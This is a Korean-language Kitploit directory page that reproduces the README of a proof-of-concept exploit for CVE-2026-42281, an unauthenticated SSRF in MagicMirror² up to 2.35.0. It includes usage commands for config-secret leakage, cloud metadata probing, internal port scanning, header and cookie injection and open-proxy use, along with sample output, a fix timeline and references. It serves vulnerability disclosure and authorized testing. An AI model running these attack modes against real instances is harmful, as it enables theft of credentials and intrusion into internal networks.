Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-42281 — CVE-2026-42281에 대한 개념 증명 익스플로잇으로, MagicMirror² ≤ 2.35.0의 인증되지 않은 SSRF 취약점을 이용하여 구성 파일 유출, 클라우드 메타데이터 탐색, 내부 네트워크 스캔을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/astaruf/cve-2026-42281
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed Teaming
GitHubastaruf/cve-2026-42281

CVE-2026-42281

CVE-2026-42281에 대한 개념 증명 익스플로잇으로, MagicMirror² ≤ 2.35.0의 인증되지 않은 SSRF 취약점을 이용하여 구성 파일 유출, 클라우드 메타데이터 탐색, 내부 네트워크 스캔을 가능하게 합니다.

저장소 보기
3개월 전아직 검토되지 않음
웹사이트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-42281: MagicMirror² ≤ 2.35.0 - /cors 엔드포인트를 통한 인증 없는 SSRF

발견 및 보고: Astaruf

전체 분석 문서: https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/

상위 권고: MagicMirrorOrg/MagicMirror 보안 권고

NVD 항목: https://nvd.nist.gov/vuln/detail/CVE-2026-42281


이 저장소는 MagicMirror² ≤ 2.35.0의 인증 없는 SSRF인 CVE-2026-42281에 대한 개념 증명(PoC) 익스플로잇을 호스팅합니다. 이 취약점은 /cors 엔드포인트를 루프백, 내부 네트워크 및 클라우드 메타데이터 서비스에 도달하는 완전한 기능의 SSRF 프록시로 변환합니다. hideConfigSecrets: true가 설정된 경우, 동일한 엔드포인트는 단일 요청으로 process.env.SECRET_* 값을 유출할 수도 있습니다.

전체 코드 리뷰, 취약점 분석, 수정 내역, CVSS 논쟁 및 타임라인은 nstsec.com의 전체 분석 문서를 참조하세요. 이 README는 PoC 사용 방법에 중점을 둡니다.

개념 증명(PoC)

요구 사항

  • Python 3.8+
  • 외부 종속성 없음 (표준 라이브러리만 사용)

빠른 시작

root@kitploit:~
# 1. 대상이 취약한지 확인
python3 poc.py -t http://target:8080 --check

# 2. 애플리케이션 설정 유출 (자동 비밀 키 탐색 포함)
python3 poc.py -t http://target:8080 --config

# 3. 10개 이상의 제공업체에서 클라우드 메타데이터 서비스 탐색
python3 poc.py -t http://target:8080 --cloud

# 4. SSRF를 통한 내부 네트워크 포트 스캔
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379

# 5. 인바운드/아웃바운드 헤더 남용 데모
python3 poc.py -t http://target:8080 --headers

# 6. 서버를 범용 오픈 프록시로 사용
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api

공격 모드

플래그설명
--check/version의 루프백 페치를 통해 SSRF 악용 가능 여부 확인
--config루프백을 통해 /config를 SSRF로 요청, JSON 파싱, 모듈 설정에서 API 키 / 토큰 / 비밀번호 탐색
--cloudAWS, GCP, Azure, OCI, DigitalOcean, Alibaba, Hetzner, IBM, Kubernetes, Rancher, Equinix 전반의 메타데이터 서비스 탐색; AWS IAM 역할 열거 자동 추적
--port-scan HOSTS하나 이상의 호스트 스캔 (-p 22,80 / -p 0-1024 / -p - 전체 65535 포트), 스레드 방식
--headers파트 A: sendheaders를 통해 아웃바운드 요청에 Authorization/X-* 헤더 주입. 파트 B: expectedheaders를 통해 악의적인 오리진의 공격자 제어 Set-Cookie를 피해자 브라우저로 전달
--open-proxy URL모든 URL에 대한 범용 SSRF GET, 응답 본문 출력 (내부 HTTP API 탐색에 유용)

추가 옵션

옵션기본값설명
-t / --target필수대상 URL, 예: http://192.168.1.10:8080
--timeout2.0요청당 타임아웃(초)
--threads30--port-scan용 스레드 수
--verbose꺼짐전체 JSON 응답 출력 (및 마스킹되지 않은 클라우드 메타데이터 본문)

데모

1. PoC 배너 및 SSRF를 확인하는 --check 모드:

root@kitploit:~
$ python3 poc.py -t http://127.0.0.1:8080 --check

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗   ██████╗   █████╗   ██╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ╚════██╗  ╚════██╗  ██╔══██╗ ███║
██║     ██║   ██║█████╗   -2026- ███████║  █████╔╝   █████╔╝  ╚█████╔╝ ╚██║
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ██╔═══╝   ██╔═══╝   ██╔══██╗  ██║
╚██████╗ ╚████╔╝ ███████╗             ██║ ███████╗  ███████╗  ╚█████╔╝  ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝ ╚══════╝  ╚══════╝   ╚════╝   ╚═╝

  MagicMirror² <= v2.35.0 — /cors 엔드포인트를 통한 인증 없는 SSRF
  작성자: Astaruf | https://nstsec.com

  CHECK, 대상 연결 가능성 및 SSRF 확인
  [*] 대상 연결 가능성 확인 중 ...
  [+] 대상 연결 가능, MagicMirror 2.35.0
  [*] 루프백을 통한 SSRF 확인 중 ...
      >> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
  [+] SSRF 확인됨, 서버가 우리를 대신하여 내부 리소스를 가져옴
      << 2.35.0

2. --config는 애플리케이션 설정을 유출하고 모듈 설정에서 비밀 키를 자동으로 발견합니다:

root@kitploit:~
  CONFIG EXFILTRATION, SSRF 루프백을 통한 전체 설정
  [+] 설정 검색 완료, 1194 바이트
  [*] address    : 0.0.0.0
  [*] port       : 8080
  [*] ipWhitelist: [] 모든 IP에 개방

  발견된 비밀 키:
    [weather]  apiKey                       = ow_demo_api_key_d34db33fc4f3b4b3
    [calendar] calendars[0].auth.pass       = S3cretCalendarPa$$word!
    [newsfeed] accessToken                  = sk-newsfeed-bearer-T0kEn-xyz789

3. --headers는 아웃바운드 주입 및 인바운드 전달을 확인합니다:

root@kitploit:~
  HEADER INJECTION, 아웃바운드 및 인바운드 헤더 남용
  [*] 파트 A: sendheaders를 통해 아웃바운드 요청에 임의 헤더 주입
  [+] 아웃바운드 요청에서 헤더 X-Injected-By: SSRF-PoC 확인됨
  [+] 아웃바운드 요청에서 헤더 Authorization: Bearer DEMO_TOKEN 확인됨

  [*] 파트 B: expectedheaders를 통해 응답 헤더를 브라우저로 전달
  [+] 응답 헤더 Set-Cookie가 브라우저로 전달됨: session=hijacked;HttpOnly
  [+] 브라우저는 이 쿠키를 MagicMirror 도메인에서 온 것처럼 수신

4. --open-proxy는 서버에서의 아웃바운드 HTTP를 확인합니다:

root@kitploit:~
  OPEN PROXY, 취약한 서버를 통해 https://httpbin.org/ip 가져오기
  [+] HTTP 200, 서버에서 32 바이트 수신

{
  "origin": "<서버의 공인 IP, 공격자의 IP가 아님>"
}

테스트 참고 사항

  • --check (및 다른 모든 모드)는 http://127.0.0.1:<port>/version으로 SSRF 루프백을 보냅니다. Docker로 테스트할 때는 호스트 포트가 컨테이너 내부 포트와 일치하는지 확인하세요 (예: 8081:8080이 아닌 8080:8080 매핑). 그렇지 않으면 인스턴스가 실제로 취약하더라도 루프백 대상이 컨테이너 내부에서 해석되지 않습니다.
  • 클라우드가 아닌 인스턴스(Raspberry Pi, 베어메탈)에 대한 --cloud는 결과가 없습니다 — 이는 정상이며 스크립트가 이를 명시적으로 보고합니다. 해당 벡터는 존재하지만 테스트하려면 실제 클라우드 배포가 필요합니다.

수정 사항

MagicMirror² v2.36.0 (2026년 4월 30일 출시)에 포함되었습니다. 수정은 6개의 PR(#4084, #4087, #4090, #4091, #4102, #4104)에 걸쳐 다층적으로 적용되었습니다. PR별 세부 내역, 코드 스니펫 및 패치 버전에 대해 재테스트된 우회 시도 검증 매트릭스는 전체 분석 문서를 참조하세요.

타임라인

날짜이벤트
2026-03-30취약점 발견, 공개 이슈 오픈, 유지관리자에게 이메일 발송
2026-03-31유지관리자가 보고를 인지
2026-04-01유지관리자가 SECURITY.md 추가 및 저장소에 GitHub Security Advisories 활성화
2026-04-09공식 GHSA 권고 오픈
2026-04-26다음 릴리스에 대한 수정 확인. GitHub에서 CVE-2026-42281 할당
2026-04-26CVSS 논쟁 — 벡터가 Moderate에서 9.2 Critical로 상향 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N)
2026-04-30MagicMirror² v2.36.0 출시, 수정 사항 공개 배포
2026-05-04공개 공개 (분석 문서 + PoC 저장소)

참고 자료

  • 전체 분석 문서 — nstsec.com
  • CVE-2026-42281 — NVD
  • MagicMirror² 공식 저장소
  • MagicMirror² v2.36.0 릴리스 노트
  • CWE-918: 서버 측 요청 위조(SSRF)
  • OWASP — 서버 측 요청 위조(SSRF)

면책 조항

이 자료는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하거나 명시적인 서면 테스트 허가를 받은 MagicMirror² 인스턴스에만 사용하세요. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 작성자는 오용에 대해 어떠한 책임도 지지 않습니다.

라이선스

MIT

도구 다운로드